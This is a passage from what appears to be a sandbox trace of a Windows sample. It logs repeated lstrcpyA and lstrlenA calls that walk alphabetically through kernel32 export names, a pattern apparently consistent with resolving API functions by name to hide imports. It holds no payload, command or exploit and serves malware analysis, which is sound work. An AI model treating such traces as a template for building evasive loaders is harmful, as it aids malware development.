27 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.201] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.201] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.201] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.201] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.201] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.201] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.201] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.201] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.201] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.201] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.201] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.201] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.201] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.201] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.201] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.201] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.201] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.201] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.201] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.201] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.201] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.202] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.202] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.202] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.202] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.202] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.202] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.202] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.202] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.202] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.202] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.202] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.202] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.202] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.202] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.203] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.203] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.203] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.203] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.203] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.203] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.203] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.203] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.203] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.203] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.203] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.203] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.203] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.203] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.203] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.203] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.203] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.203] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.203] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.203] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.204] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.204] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.204] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.204] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.204] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.204] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.204] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.204] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.204] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.204] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.204] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.204] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.204] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.204] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.204] lstrlenA (lpString="BEEP") returned 4 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.204] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.204] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.204] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.204] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.204] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.204] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.204] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.205] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.205] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.205] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.205] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.205] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.205] lstrlenA (lpString="CANCELIO") returned 8 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.205] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.205] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.205] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.205] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.205] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.205] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.205] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.205] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.205] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.205] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.205] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.205] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.205] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.205] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.205] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.206] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.206] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.206] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.206] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.206] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.206] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.206] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.206] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.206] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.206] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.206] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.206] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.206] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.206] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.206] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.206] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.206] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.206] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.206] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.207] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.207] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.207] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.207] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.207] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.207] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.207] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.207] 